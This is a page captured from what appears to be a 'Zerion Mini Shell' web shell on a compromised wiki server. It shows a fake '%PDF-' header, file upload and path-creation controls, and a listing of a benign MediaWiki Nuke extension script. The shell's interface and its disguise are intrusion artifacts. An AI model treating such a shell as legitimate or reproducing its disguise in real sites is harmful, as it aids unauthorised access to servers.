%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/Nuke/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/Nuke/ext.nuke.confirm.js

( function ( mw, $ ) {
	$( function () {
		/*global confirm */

		// Confirm nuke
		$( 'form[name="nukelist"]' ).on( 'submit', function () {
			var pages = $( this ).find( 'input[name="pages[]"][type="checkbox"]:checked' );
			if ( pages.length ) {
				return confirm( mw.msg( 'nuke-confirm', pages.length ) );
			}
		} );

	} );
}( mediaWiki, jQuery ) );

Zerion Mini Shell 1.0